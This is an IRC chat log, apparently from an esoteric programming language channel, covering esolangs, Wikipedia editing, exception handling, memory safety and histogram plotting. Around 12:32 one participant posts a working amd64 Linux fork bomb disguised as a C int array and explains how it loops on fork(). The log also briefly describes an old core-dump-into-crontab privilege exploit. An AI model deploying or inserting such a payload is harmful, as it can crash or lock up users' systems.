09:37:11 <elliott> "Nice concept. We've completely done away with email registrations. Just get the user to like your Facebook page or follow you on twitter. That takes away the additional burden of verification, cause someone's already done it for you. No issues with promotion emails going to the spame folder. Facebook/ Twitter don't have them."
09:37:26 <elliott> Finally, someone has invented the most evil method of verification ever.
09:37:56 <shachaf> What about the verification method where...
09:38:04 <shachaf> I can't think of a way to complete that sentence. :-(
09:38:20 <elliott> ...you have to kill a kitten and send in videographic proof?
09:38:44 <shachaf> elliott: And then like them on Facebook?
09:39:03 <elliott> That's MARGINALLY more evil.
09:39:19 <olsner> kill a kitten, share the video on facebook, tag yourself
09:39:41 <elliott> I just call that Saturday.
09:40:12 <olsner> also known as kill-a-caturday
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10:01:08 <HackEgo> KMC: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
10:02:42 <shachaf> http://publib.boulder.ibm.com/infocenter/wsdatap/v3r8m1/index.jsp?topic=/xs40/convertingbetweenjsonandjsonx05.htm
10:03:53 <kmc> WIILKOMMEN AUF DER INTERNATIONALHUB FÜR EZOTERIKPROGRAMMINGSPRACHE DEZIGNUNG UND DEPLÖYMENTZE
10:04:28 <fizzie> They really should've made an uppercase ß.
10:04:28 <kmc> ZO RELAXEN UND WATSCHEN DER BLINKENLICHTEN
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10:05:22 <kmc> shachaf, http://software.intel.com/en-us/articles/xml-parsing-accelerator-with-intel-streaming-simd-extensions-4-intel-sse4/
10:06:50 <shachaf> kmc: Pft. IBM will just sell you an XML coprocessor.
10:07:05 <shachaf> I think I first learned of this fact from you.
10:07:12 <kmc> "XML coprocessor" meaning they enable one of the processors already in your zSeries mainframe
10:07:28 <kmc> but the service of enabling it is cheaper than usual because they tell it to only process XML
10:07:40 <kmc> well, they also sell dedicated rackmount XML processing hardware
10:08:03 <kmc> keep fuckin that chicken
10:11:19 <kmc> fizzie, there sort of is one http://en.wikipedia.org/wiki/Capital_%C3%9F
10:11:39 <lambdabot> <no location info>: not an expression: `'
10:11:49 <kmc> oh right, :t doesn't understand unicode
10:11:58 <kmc> > generalCategory 'ẞ'
10:13:04 <kmc> "Dutch hip-hop in Atlanta / Tight new R&B in Estonia / And just another sick American in Yoshinoya"
10:13:16 <kmc> you were expecting LowercaseTwoLetters?
10:13:40 <kmc> "i accidentally entered the German dictionary twice and now I'm... two letters"
10:17:33 <elliott> "JSONx is an IBM® standard format to represent JSON as XML." awesome
10:21:48 <mroman> "Let's invent something so we do not need to parse XML!"
10:22:05 <shachaf> Why is it that some people come into #haskell and just don't get it?
10:22:10 <mroman> "Hey, cool. We can also display that thing we invented to not use XML in XML so we can parse it as XML!"
10:22:11 <kmc> don't get... what
10:22:40 <mroman> Patternmatching with lists?
10:23:23 <ais523> fizzie: uppercase ß is SS
10:23:24 <shachaf> Maybe I just know the syntax well enough that I get annoyed at people for not seeing the obvious which isn't really obvious, or something.
10:23:47 <shachaf> It seems like there've been a large number of people who've come into the channel and kept asking little variations on the same question.
10:24:11 <kmc> that's called homework
10:24:22 <mroman> > :t (\[x:xs] -> undefined)
10:24:23 <lambdabot> <no location info>: parse error on input `:'
10:24:38 <kmc> that's called it's nearly spring break and they gotta pass finals or midtterms or some shit
10:25:12 <mroman> @type (\[x:xs] -> undefined)
10:25:30 <mroman> If you can't derive it from the syntax at least ghci can tell you .
10:25:55 <shachaf> Maybe that's it. How do you make a channel where people don't ask you to do their homework?
10:26:26 <kmc> make a language so obscure nobody teaches it in school
10:26:33 <kmc> /join #agda
10:27:04 <fizzie> ais523: Sure, but that's just boring. The thing kmc linked to is much better, and in fact a bit like whatI thought it'd be.
10:27:32 <kmc> there are germans in mexico, germans in mexico, taking over tonight, falling in love with your daughter
10:27:39 <ais523> I accidentally discovered there was such a thing as uppercase schwa recently
10:27:46 <ais523> elliott: hmm, debatable; I've seen SS more commonly
10:28:12 <kmc> sing everybody deutsche deutsche vaya con Dios amigos
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10:29:53 * kmc reads core(5) manpage
10:30:14 <kmc> it has an ad hoc list of 7 different situations where corefiles will not be created, for security
10:30:19 <kmc> that's great
10:30:26 <kmc> i'm 100% sure they thought of them all
10:31:34 <shachaf> kmc: What would you prefer?
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10:32:10 <kmc> whitelisting > blacklisting
10:32:16 <cheater> the linux kernel is not an esolang
10:32:25 <kmc> there's a confused deputy problem here too
10:32:30 <shachaf> I don't see how whitelisting would be different in this situation.
10:32:40 <shachaf> They have a bunch of predicates for what makes a core file "safe".
10:32:57 <kmc> shachaf, it would be more conservative, e.g. corefiles only created in a particular directory or something
10:33:03 <kmc> i don't know, i don't have a specific proposal
10:33:29 <kmc> in fact i think the canonical ancient example of a confused deputy is something akin to dumping core
10:33:58 <kmc> http://cap-lore.com/CapTheory/ConfusedDeputy.html
10:34:23 <kmc> there was a linux exploit some years back which involved getting a setuid program to dump core in /etc/crontab.d/
10:35:04 <kmc> turns out cron will ignore "malformed lines" in a crontab
10:35:24 <kmc> where by "malformed lines" we mean most of an ELF coredump file
10:58:16 <ais523> elliott: fun fact: Verity turned out to have capability security by accident
10:58:21 <ais523> we didn't put it in there deliberately, it just happened
10:58:45 <mroman> http://www.reddit.com/r/haskell/comments/r5dxn/please_critique_my_very_simple_bmi_calculator/ <- srsly
11:00:18 <elliott> ais523: well, capability security is more about /not/ doing certain things, really
11:00:41 <ais523> want to light up an LED? someone has to pass you a function that lets you do that
11:01:01 <ais523> we have a linker where you just do "import <library>" and it'll automatically set up the required calls behind the scenes, though
11:03:25 <elliott> ais523: hey, what's the equivalent of "bibliography" for programming languages?
11:03:57 <ais523> hmm, what exactly do you mean by that? I can think of two possible meanings and am having problems expressing either of them
11:04:53 <elliott> well, what would you title the list of languages created by a person?
11:05:02 <elliott> ah, catseye uses "Lingography"
11:05:03 <ais523> oh, that wasn't either of them
11:05:14 <ais523> we can go with catseye's version, I think
11:05:20 <elliott> "(What is a "lingography", you ask? Well, if bands have discographies and directors have filmographies...)" -- right, possibly I should have listed more examples of the form
11:06:37 <elliott> ais523: (I realised [[Chris Pressey]] should probably have a comprehensive list of the languages we have articles on)
11:07:01 <elliott> except ideally I should include /all/ the esolangs he's created, so we have some nice redlinks, but that involves sorting his esoteric languages from his non-esoteric ones
11:07:06 <elliott> which is probably impossible
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11:11:34 <elliott> hmm, cpressey's favourite esolangs are Homespring, Muriel, and Please Porige Hot
11:12:02 <ais523> admittedly, I like Homespring and Muriel too
11:12:03 <elliott> "What are my favourite esolangs, you ask? Well, the three I listed earlier (Homespring, Muriel, and Please Porige Hot) hold special places in my heart. The favourite esolangs of my own is a much harder question to answer. I will say that, in terms of striking a balance between "challenge to code in" and "beauty", I think Mascarpone is one of my best. That doesn't necessarily mean it's my favourite, though."
11:12:08 <elliott> (http://catseye.tc/cpressey/retrospective.html)
11:12:38 <ais523> actually, I should start using Homespring rather than Haifu as an example of a good thematic language
11:12:44 <ais523> they both are, but Homespring is better
11:12:56 <ais523> it's an acronym, after all
11:13:18 <elliott> it's Homespring or HOtMEfSPRIbNG
11:13:19 <ais523> that's the expanded version
11:14:03 <elliott> hmm, the "documentation" link on http://esolangs.org/wiki/Homespring demands a password
11:14:09 <elliott> and gives an email address to ask for the password if you don't know it
11:15:07 <ais523> there's also documentation in the esoteric files archive, though
11:15:20 <elliott> i'm wondering if i should just remove the link
11:17:31 <elliott> "Okapi is a language I designed as a present for my true love. In it, the only means of control flow is throwing exceptions, and as if this wasn't enough, there are two restrictions on exceptions that are thrown — they must be divide-by-zero exceptions, and they must be caught in a lexically enclosing block. Nor is there any facility to "retry" after an exception is caught. The language is nonetheless Turing-complete."
11:17:41 <elliott> i wish there were more details than that available, that's amazing
11:19:53 <elliott> RocketJSquirrel: BTW, I believe an Eightebed-like language can avoid having most of a garbage collector and still not leak memory
11:20:04 <ais523> elliott: what are Linux DEs like nowadays?
11:20:23 <elliott> RocketJSquirrel: hmm... or at the very least, avoid running the garbage collector machinery more than once in e.g. 2^64 allocations
11:20:44 <ais523> I'm still on Gnome 2, but I'm going to have to upgrade eventually
11:20:52 <ais523> and am wondering if there are any I'll find usable
11:21:04 <ais523> (note: I consider Windows 7 usable; not on default settings, but it only requires small changes)
11:21:26 <elliott> it's fairly likely you'll find Xfce tolerable. I'm happy with xmonad.
11:21:39 <elliott> GNOME and KDE haven't spontaneously fixed themselves, obviously
11:21:50 <ais523> pity, I was rather hoping they would
11:22:03 <ais523> or at least, that someone had got gnome-panel working properly in gnome 3
11:22:08 <ais523> that's what I'd want, really
11:22:30 <elliott> ais523: gnome 3 does have a gnome-panel, the "fallback" mode
11:22:34 <ais523> keep the applications, use the old window manager and panel application
11:22:52 <ais523> crazy idea: is it possible to use gnome 2's gnome-panel in gnome 3?
11:23:39 <ais523> I guess I'll try Unity first, and probably decide I don't like it
11:24:20 <elliott> ais523: why not just try Xfce first?
11:24:52 <ais523> I guess trying the options that you expect not to succeed first is likely to produce a better decision in the end
11:25:02 <ais523> also note that I used an earlier version of KDE 4 for a while
11:25:07 <ais523> and it was mostly usable
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11:31:54 <cheater> the only means of control flow is throwing exceptions < has he mentioned whether it's just prolog
11:33:50 <ais523> a fail isn't really quite the same thing as an exception, although they're similar
11:33:55 <ais523> and a cut is not the same thing as an exception at all
11:34:05 <ais523> and a nonlocal cut is not at all related
11:34:45 <cheater> i realize, i just think they're similar ideas.
11:35:18 <cheater> you visit an AST and backtrack.
11:35:59 <ais523> it's possible to implement fails as exceptions
11:36:18 <ais523> I was showing my students how to do that in Java, for if they wanted to write a parser that wasn't LL(1)
11:36:32 <hagb4rd> good thing bout throwing excpetions is that you can decide how to handle them in the calling routine
11:36:40 <ais523> (which was a surprisingly possible thing, as they had to write a parser, and had been shown how to write LL(1) parsers which was sufficient for the exercise)
11:38:51 <hagb4rd> which enables you to provide fair encapsulation of your libs
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11:42:48 <ais523> hagb4rd: don't all error handling mechanisms do that?
11:46:39 <hagb4rd> well, i'm not sure about this, because i don't know them _all_
11:48:20 <hagb4rd> but there is a difference between just handling a return value (in which you also can place an errorcode or sth) and throwing an exception
11:49:12 <hagb4rd> or even a greater difference between handling a possible error _inside_ of the function/class
11:52:58 <hagb4rd> also the return value and an exeption _can_ have a different type, which allows you pass valueable information inside the exception-object
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11:59:10 <ais523> oh right, I forgot about the antipattern where when anything goes wrong, you print it to stdout and keep on going
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12:11:23 <hagb4rd> lets keep things simple for an easy example: imagine i use one of your classes (i don't care how they work ;) in which a method needs to open a file. for the case the file does not exist you could throw a FileNotExists exception (or sth) allowing me to decide how to handle it; i could retry with another file or depending on the runmode write a log or whatever (not so when you handle it by your own)
12:13:09 <hagb4rd> or you could check the permissions and throw a FilePermissionNotAllowed Exception allowing me to handle it another way
12:14:14 <elliott> That isn't related to exceptions. Returning an error code has the same behaviour.
12:14:24 <elliott> What exceptions do is propagate automatically.
12:15:26 <hagb4rd> when FileNotExists Exception and FilePermissionNotAllowed Exception both inherit from Exception (which at least has an errorcode and errormessage), i can just handle the base class properties and output them .. halt the program ..and and and
12:19:23 <fizzie> http://en.wikipedia.org/wiki/Currying#Example_in_Java + Java 8 = http://p.zem.fi/m0yi
12:19:41 <fizzie> One more step and it's pretty much Haskell, right, guys?
12:21:25 <kmc> need moar monads
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12:21:52 <kmc> you can't add three numbers in Haskell without using at least five monads
12:21:54 <kmc> everyone knows that
12:21:55 <hagb4rd> sure but its absolutely not what java is written for. ugly
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12:25:21 <fizzie> For some unfathomable reason the horrible Java thing is the only example in the article. Based on the talk page there's been a whole pile of them, earlier.
12:29:29 <elliott> fizzie: Wikipedians love piling on ten thousand language examples.
12:29:47 <elliott> fizzie: Take a look at this: http://en.wikipedia.org/wiki/Fork_bomb#Examples
12:30:28 <elliott> That Java example in Currying is terrible though, how bad must the other examples have been for that to be the one spared?
12:30:58 <fizzie> Based on the history it seems that first the "Profusion of examples" (to quote talk page title) was removed, and then recently-ish that one was added, perhaps because there were no examples.
12:31:35 <fizzie> Also seems that from 16 Dec to 12 Mar the Java example that was there was a broken one.
12:31:50 <elliott> <!-- NB: creating a bunch of threads does not constitute a forkbomb, it must somehow call the system's fork() function! -->
12:31:55 <elliott> WHO THE FUCK IS ADDING COMMENTS TO THIS SHIT
12:32:12 <kmc> const int main[] = { 14776, 3942977280, 247 };
12:33:01 <fizzie> I like the example that's written "in C standard library"; not e.g. using the library, but in it.
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12:33:46 <elliott> And of course the majority of revisions are messing with the examples: http://en.wikipedia.org/w/index.php?title=Fork_bomb&action=history
12:34:20 <kmc> breaking news: people waste time on the internet
12:34:36 <kmc> film at 11, just after cute videos of a cat and before some more cute videos of a cat
12:34:57 <elliott> fizzie: For the second time. The last time I did so when it came up in here, another person in the channel decided to revert-war to keep it.
12:35:05 <elliott> I was hoping you'd stay silent. :'(
12:35:54 <elliott> <elliott> RocketJSquirrel: BTW, I believe an Eightebed-like language can avoid having most of a garbage collector and still not leak memory <elliott> RocketJSquirrel: hmm... or at the very least, avoid running the garbage collector machinery more than once in e.g. 2^64 allocations
12:36:34 <elliott> "fork Fork Bomb fork fork fork fork wabbit" -- http://zh.wikipedia.org/wiki/Fork%E7%82%B8%E5%BC%B9
12:36:39 <nortti> kmc: how does your forbomb even work? It says "Illegal instruction" on my machine
12:36:50 <kmc> nortti, it's for amd64 Linux specifically
12:37:11 <hagb4rd> it only runs on his washing machine
12:37:19 <nortti> kmc: ok. I am using PPC 7450 Mac OS X
12:37:20 <kmc> on which it's an array of three 4-byte little endian integers
12:37:54 <elliott> RocketJSquirrel: How about this: You represent every pointer as (realptr, id). Whenever an allocation is made, the global id counter is incremented by one, stored just before the allocated memory, and returned with the pointer. Whenever you dereference a pointer, it checks that the identifier matches that of the pointer's; if it doesn't, it safely fails. Whenever the id counter is about to wrap-around, you do the standard GC thing to reassign all
12:37:59 <kmc> if you write it down as such and then decode the bytes as amd64 machine code, you get
12:38:19 <kmc> foo: mov $0x39, %eax; syscall; jmp foo
12:38:26 <kmc> and 0x39 is the syscall number for fork()
12:38:27 <elliott> RocketJSquirrel: Admittedly that just puts off the problem :P
12:39:12 <kmc> the array is 'const' because many distros forbid executing writable memory (unless you explicitly ask to)
12:39:24 <kmc> and fewer (but still some) forbid executing read-only data
12:39:37 <elliott> RocketJSquirrel: Sure, or you could do the same "if valid" thing as Eightebed does.
12:39:51 <elliott> Or define the dereferencing of an invalidated pointer to always return 0, or whatever; point is, no corruption.
12:40:40 <elliott> RocketJSquirrel: Actually this is basically the same as never freeing any memory and GCing when you run out, except that the resource to run out of increases much slower, because it's independent of the allocation size.
12:40:51 <elliott> Still, doesn't truly solve the problem :P
12:41:02 <RocketJSquirrel> elliott: Wrapping around is a bigger issue than you've let on, it actually has to rewrite all existing IDs.
12:41:16 <elliott> Whenever the id counter is about to wrap-around, you do the standard GC thing to reassign all
12:41:19 <elliott> <elliott> the identifiers.
12:41:51 <RocketJSquirrel> The question is, is that more a GC than the previous strategy?
12:41:58 <elliott> It's a rarer but stronger GC :P
12:42:53 <elliott> RocketJSquirrel: OK, my next idea is that you don't have any global counter. Memory is write-once: you allocate a slab of memory, populate it (under restricted conditions), and then freeze it, which is when you get a pointer back. That pointer comes bundled with a cryptographic hash of the data. When you dereference it, it checks the data matches the hash, and when you free it, it's released to be reused as normal.
12:43:04 <elliott> RocketJSquirrel: Now corruption is just rare! (Rare = probability 1)
12:43:53 <elliott> RocketJSquirrel: More seriously, I'm PRETTY sure you could solve it with linear types or the like.
12:44:00 <RocketJSquirrel> You Haskell people and your solving problems with immutability.
12:44:41 <elliott> RocketJSquirrel: In fact it's pretty much the problem all the applications of linear logic to programming are designed to solve :P
12:44:51 <elliott> i.e. deterministic, explicit resource allocation with safety.
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12:47:51 -!- oerjan has set topic: This is CERTAINLY the MOST TERRIFYING GAMALOST you will RUN AWAY FROM all OLSOK: http://championofbirds.com/?p=4991 | http://codu.org/logs/_esoteric/.
12:48:01 <oerjan> <Methead> WEIRDEST CHEESE - what is it?
12:48:07 <elliott> Is it (provably) true that any function can be curried? For example, I'd expect that y = f(a,b) = ((a+b) / (a*b)) could not be curried. — Preceding unsigned comment added by 87.194.171.29 (talk) 23:19, 25 October 2011 (UTC)
12:48:10 <oerjan> I THINK THIS SHOULD NOW BE MORE CLEAR
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12:53:27 <oerjan> <pikhq> Try updating the screen 60 times a second? It'll tear like a mofo. <-- i always knew the path of programming was full of tears.
12:55:19 <elliott> oerjan: hey how do you add articles to your WP watchlist. do i have to use the raw interface? it doesn't have the "watch" link in the dropdown next to view history like Esolang does...
12:55:37 <oerjan> elliott: the star button
12:56:30 <oerjan> also, there's a checkbox when you edit.
12:56:59 <elliott> yeah, i knew that, but didn't have any edits to make :)
12:57:11 <oerjan> just thought i'd mention.
12:57:55 <oerjan> i was a bit confused when it initially changed to a star too
12:58:49 <elliott> wow, how does [[Befunge]] still exist?
12:58:59 <elliott> i have a hard time believing it meets any notability standard.
12:59:12 <elliott> let's see... the citations are the Jargon File, and an Esolang talk page.
12:59:26 <elliott> "however, it has been shown that Befunge-93 is Turing Complete with unbounded stack word size"
12:59:36 <elliott> it's not original research, it was published on another wiki's talk page!
12:59:50 <oerjan> hey we do _science_ on esolang!
12:59:59 <Phantom_Hoover> "the Befunge-93 language is, unlike most machine languages, not Turing-complete"
13:01:33 <oerjan> elliott: you could add http://scientopia.org/blogs/goodmath/2009/09/08/two-dimensional-pathology-befunge/
13:02:01 <elliott> yay now i have 10 pages on my watchlist.
13:02:25 <elliott> oerjan: i don't think adding a citation to a blog will bolster the notability case :P
13:02:30 <elliott> oerjan: although maybe good math, bad math is prominent enough for it to.
13:02:42 <elliott> i am rather sceptical that Befunge /is/ notable, anyway
13:03:08 <oerjan> i _may_ have more, but it's quite an eclectic bunch. i have [[Gorse]] and [[Ben Murphy]] as a result of some spammer who hit them once...
13:03:52 <oerjan> elliott: ok but the good math/bad math features were probably some of our best exposition
13:04:02 * elliott assumed oerjan must have hundreds of pages on his watchlist.
13:04:10 <elliott> since I keep hearing "oh yes, I have it on my watchlist" :P
13:04:15 <oerjan> although he rarely linked to the wiki, iirc
13:07:24 <elliott> i wish you could somehow watchlist a page and every page "like" it.
13:07:36 <elliott> say, it would watchlist that page and every page it links to that shares a certain number of categories, or such
13:08:01 <elliott> so i could just manually watch a few central pages and have the rest filter through.
13:08:36 <elliott> i suppose the simpler version of that is just watching every article in a certain wikiproject.
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13:11:09 <elliott> oerjan: hm about the featured esolang process. would it be better if no language suggested last time could be suggested post-clearing? rather than just not by the same person
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13:11:31 <elliott> i suppose that has the problem that people might propose a large fraction of the good esolangs on a particularly active list and thus starve the following list of candidates.
13:11:43 <elliott> but otoh it'd stop the same suggestions coming up again and again and promote some diversity.
13:21:30 <oerjan> <HackEgo> KMC: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
13:21:35 <oerjan> LINK STILL NOT WORKING
13:24:39 <hagb4rd2> i think you should write a step by step tutorial on howto implement an esoteric language, so maybe someone less susceptible to forces of the one ring may show up and breed something completely new fresh and different
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13:27:09 <oerjan> 1. DON'T USE ANY OF THE FOLLOWING AS COMMANDS: +-<>.,[] 2. DON'T USE COMMANDS MEANING ANY OF THE FOLLOWING: INCREMENT, DECREMENT, READ CHARACTER/BYTE, WRITE CHARACTER/BYTE, BEGIN LOOP, END LOOP, MOVE LEFT, MOVE RIGHT 3. DON'T USE A TAPE OR ARRAY AS YOUR MAIN STORAGE.
13:27:15 <oerjan> Phantom_Hoover: does that about cover it?
13:27:37 <elliott> hagb4rd2: like a step-by-step guide on how to create a beautiful painting.
13:27:48 <elliott> or a brilliant composition.
13:27:57 <hagb4rd2> more on how to make a pencil and get some colors
13:29:03 <Phantom_Hoover> No, you forgot "if you do any of these things just kill yourself and save us the bother".
13:29:32 <oerjan> elliott: hey he killed himself already. twice.
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13:33:16 <oerjan> <elliott> ais523: Ss, no? <-- since it doesn't actually occur at the start of words it would probably always be all caps, so SS as ais523 says
13:33:20 <fizzie> That wiped out quite a few people; especially the second bit, which implicated every language that has a command like "increment" or "begin loop".
13:33:52 <elliott> oerjan: yay i am now the second-top editor on esolang :P
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13:34:17 <Phantom_Hoover> fizzie, you could be merciful and say that most non-BF derivatives wouldn't really do that with instructions.
13:34:56 <elliott> fizzie: I have gnuplot, and a big ol' sorted list of numbers; what's the minimum necessary gnuplot incantations I need to know to plot the distribution?
13:35:04 <elliott> I want to see what Esolang's distribution of edit counts looks like.
13:35:45 <fizzie> elliott: Ho-hum, so did you want gnuplot to compute the histogram for you?
13:35:56 <elliott> fizzie: Well, I don't really care, I just want something that looks sciency.
13:37:18 <oerjan> fizzie: hm that _is_ a point, we shouldn't have rules that exclude Deadfish.
13:37:43 <fizzie> I mean, if you have something like "1 1 1 2 3 4 5 5 5 5 5 5", do you want to have 5 points at heights 3, 1, 1, 1 and 6, respectively?
13:38:24 <elliott> Yes, I know what a histogram is. (Except the ranges are going to have to be bigger than that, considering how tiny the data is. :p)
13:42:08 <fizzie> It needs a bit of manual fiddling, but something like plot "your.data" using (floor($1)):(1) smooth freq with boxes
13:42:28 <fizzie> If you want wider-than-1 bins, K*floor($1/K).
13:42:40 <elliott> What manual fiddling would that be, roughly?
13:44:03 <elliott> elliott@solidity:~$ mysql esolang_wiki <<< 'select user_editcount from user order by user_editcount desc' >editcounts
13:44:30 <fizzie> Well, I just mean that you need to manually convert your numbers from x into (z,1) where 'z' is the bin center for that point; the 'using' spec achieves that. (And then "smooth freq" means it sums up all points with identical 'x' coordinates.)
13:46:17 <elliott> fizzie: Aww. That produces exceedingly boring results thanks to the sheer number of 0s.
13:46:40 <elliott> Can I get some logarithms or something? :p
13:47:27 <fizzie> Sure, or you could just ignore the 0s by setting the viewport suitably.
13:47:45 <fizzie> plot [xmin:xmax] [ymin:ymax] "your.data" ... sets the area which it draws.
13:48:20 <fizzie> And, err, I guess you'll need to change the "using" spec if you want 0s to end up in a bin of their own.
13:48:32 <elliott> fizzie: Well, the thing is that I'm grouping them into bins of 50. And ignoring all users with 50 or less edits will result in... few users.
13:49:27 <fizzie> Right. Though if you group into bins of 50, you will in any case only have a single number for "<50".
13:50:18 <elliott> fizzie: I could just grep -v out the 0s from the raw data.
13:50:28 <elliott> Can gnuplot take data from a shell line? :p
13:51:29 <fizzie> You could plot using (50*floor(($1-1)/50)+26):(1):(20) so that 0 ends up in a single bar (at -24), and 1..50 are in one bar at 26, and 51..100 in another, and so on.
13:52:47 <fizzie> The file name '-' is special, but I can't quite recall how it was special.
13:52:51 <elliott> That results in a slightly less boring box. I think I want to increase the size of the bins as the numbers get larger, or something, since otherwise it's all going to clump into basically one bin.
13:52:51 <oerjan> <elliott> And of course the majority of revisions are messing with the examples: http://en.wikipedia.org/w/index.php?title=Fork_bomb&action=history
13:53:04 <oerjan> what you don't realize is that the examples _are_ a fork bomb
13:54:29 <fizzie> You can do log() for natural log in the using line, but you'd need to calculate the proper constants if you want some particular bin edges.
13:56:21 <itidus21> DMM has the best wiki picture ever
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13:56:41 <elliott> Maybe I'll just plot the editcounts as-is. :p
13:56:52 <itidus21> oh i see harry potter behind him
13:57:11 <nortti> `run apropos www-browser
13:57:14 <HackEgo> apropos: can't open the manpath configuration file /etc/manpath.config
13:59:06 <HackEgo> apropos: can't open the manpath configuration file /etc/manpath.config
13:59:26 <Vorpal> someone who knows what nick Gregor currently uses should poke him about that.
13:59:43 <elliott> I don't think it's broken.
13:59:54 <elliott> Gregor is currently TodPunk.
14:00:15 <fizzie> One alternative is to start octave and then do d = load("your.data"); hist(d, [0 logspace(1, max, n)]); -- that will produce a histogram with bins where there's a bin at 0, and then 'n' more bins with centers between 1 .. 'max', logarithmically spaced.
14:00:29 <elliott> fizzie: You forgot step 0: install Octave.
14:00:41 <fizzie> It probably works in MATLAB too. :p
14:00:49 <elliott> Hey, Octave uses FLTK. Or one of its dependencies does.
14:01:32 <fizzie> Maybe it's the plotting. I think it has supported several things.
14:01:53 <fizzie> The polish on Octave's plotting system is... slightly lacking, compared to MATLAB. You do get some windows, but that's about it.
14:02:20 <azaq23> I am not one of the people that were named
14:02:22 <elliott> It can use gnuplot. Or so sayeth the optional dependencies list; "alternative plotting".
14:02:48 <elliott> octave:1> d = load("editcounts")
14:02:48 <elliott> error: load: failed to read matrix from file `editcounts'
14:02:51 <elliott> It doesn't work, fizzie. :(
14:02:57 <fizzie> It worked for *my* data.
14:03:05 <fizzie> What's the file like? Anything extra in there?
14:03:12 <elliott> Oh, the first line is "user_editcount".
14:03:14 <fizzie> Just plain numbers, one per line, should work.
14:03:19 <elliott> Now I wonder how gnuplot managed to plot it.
14:03:33 <fizzie> It has some smarts about automatically skipping header-looking things.
14:03:45 <elliott> octave:2> hist(d, [0 logspace(1, max, n)]);
14:03:45 <elliott> error: Invalid call to max. Correct usage is:
14:03:45 <elliott> -- Loadable Function: max (X)
14:03:45 <elliott> -- Loadable Function: max (X, Y)
14:03:45 <elliott> -- Loadable Function: max (X, [], DIM)
14:03:45 <elliott> -- Loadable Function: max (X, Y, DIM)
14:03:47 <elliott> -- Loadable Function: [W, IW] = max (X)
14:03:59 <fizzie> That was "max" as in "put some value there". :p
14:04:04 <fizzie> But you can put max(d) in.
14:04:21 <fizzie> Also you need to specify an 'n'.
14:04:48 -!- nortti has quit (Quit: ChatZilla 0.9.88.1 [Firefox 11.0/20120312200651]).
14:04:54 <fizzie> It doesn't probably widen the bars when plotting, so it might look a bit silly.
14:05:31 <elliott> Well, that fails horribly.
14:05:44 <elliott> http://sprunge.us/CINY Many errors like this.
14:06:14 <elliott> Then a chart with one point at 0 and some very improbable things on the axes (e.g. 1e+212).
14:06:57 <fizzie> You could try saying backend("fltk") first.
14:07:36 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: backend': not found
14:07:46 <fizzie> octave:16> available_backends
14:07:46 <fizzie> { [1,1] = fltk [1,2] = gnuplot
14:08:30 <elliott> `available_backends' undefined
14:08:32 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: available_backends': not found
14:08:43 <fizzie> This is Octave 3.2.4 that we have here, for the record.
14:08:56 <fizzie> Well, it's obviously too new. :p
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14:10:03 <Vorpal> fizzie, is that "available_backends" a 2D array?
14:10:11 <Vorpal> those indices look rather weird
14:11:05 <fizzie> It's an 1x2 cell array, yes.
14:11:28 <fizzie> I'm not sure if octave treats all cell arrays as at least two-dimensional, though.
14:11:44 <fizzie> elliott: Apparently it's available_graphics_toolkits() nowadays.
14:12:06 <fizzie> Well, maybe graphics_toolkit("fltk") will then work.
14:12:11 <Vorpal> what is it you are trying to plot?
14:12:38 <fizzie> Edit count distribution histogram with logscale on the X axis, I think.
14:13:19 <Vorpal> can't gnuplot do the job? Pretty sure there are logscale options in there
14:13:41 <fizzie> Even just getting it to do the summing involved for a histogram is quite a manual job.
14:16:08 <fizzie> elliott: You want hist(d, [0 logspace(0, log(max(d)), n)]) or some-such.
14:16:15 <elliott> Just as I switch back to gnuplot to try and plot the raw data with some exponentially axes. :p
14:16:49 <elliott> fizzie: That still produces some fairly improbable axes.
14:17:10 <Vorpal> the wiki has been very active
14:17:56 <fizzie> I don't know how I managed to forget the thing where logspace(a, b) means "from 10^a to 10^b except if b is pi".
14:18:03 <oerjan> Vorpal: we now have a featured article!
14:18:12 <Vorpal> fizzie, what does it mean if b is pi?
14:18:25 <fizzie> Vorpal: Then it means "from 10^a to pi".
14:18:31 <oerjan> Vorpal: only got up and running this week
14:18:41 <fizzie> Vorpal: But it must be the single single- or double-precision float that's closest to pi.
14:18:55 <fizzie> Vorpal: For compatibility with MATLAB 'logspace' function.
14:19:12 <elliott> fizzie: Okay, that... "works".
14:19:14 <Vorpal> that just raises the new question: Why does MATLAB do it that way?
14:19:49 <elliott> oerjan: let's put it this way: if we had a superb, Wikipedia-featured-article-level article on Snack, would you want it to be featured on the main page as exemplary?
14:19:52 <fizzie> Vorpal: "y = logspace(a,pi) generates the points between 10^a and pi, which is useful for digital signal processing where frequencies over this interval go around the unit circle."
14:20:00 <fizzie> Vorpal: It's a rather curiously specific application.
14:20:24 <Vorpal> fizzie, what if you actually want from 10^a to 10^pi ?
14:20:28 <elliott> fizzie: The problem now is that it still looks like a really tall line and then a tiny pile of moss surrounded in a sea of nothingness. :p
14:21:12 <fizzie> Vorpal: Possibly you just then add an epsilon to it or something.
14:21:13 <Vorpal> elliott, isn't that what the logarithmic bit is supposed to deal with?
14:21:18 <oerjan> elliott: maybe some April :P
14:21:26 <Vorpal> elliott, and surely you could nest it in another logspace call
14:22:04 <oerjan> admittedly, we have much better _jokes_ than that still
14:22:29 <fizzie> elliott: You can always try doing set(gca,'yscale','log') after the plot to see if it's any better.
14:22:36 <itidus21> its my plotting of the function
14:22:51 <elliott> fizzie: That blanks the entire chart.
14:23:05 <elliott> warning: axis: omitting non-positive data in log plot
14:23:19 <Vorpal> elliott, non-positive edit counts?
14:23:34 <fizzie> elliott: Well, that's impressive. I guess it doesn't like the negative infinities that the bars have.
14:23:37 * oerjan relatedly recalls that the Wumo comic has both a best of week and worst of week link. sometimes they are the same comic.
14:25:05 <fizzie> elliott: If you want just an outline of the shape with logscale y, try [y,x] = hist(...); semilogy(x,y); or something.
14:25:06 <oerjan> (note: sometimes/frequently NSF[WL])
14:25:50 <elliott> fizzie: Can I just hire you to science it?
14:26:03 * Sgeo is up early for reasons
14:26:32 <fizzie> If it looks boring, then it looks boring. But if you want to dump the numbers somewhere, I can take a look, except only after some three hours or so. I'll have to go do a thing soon, first.
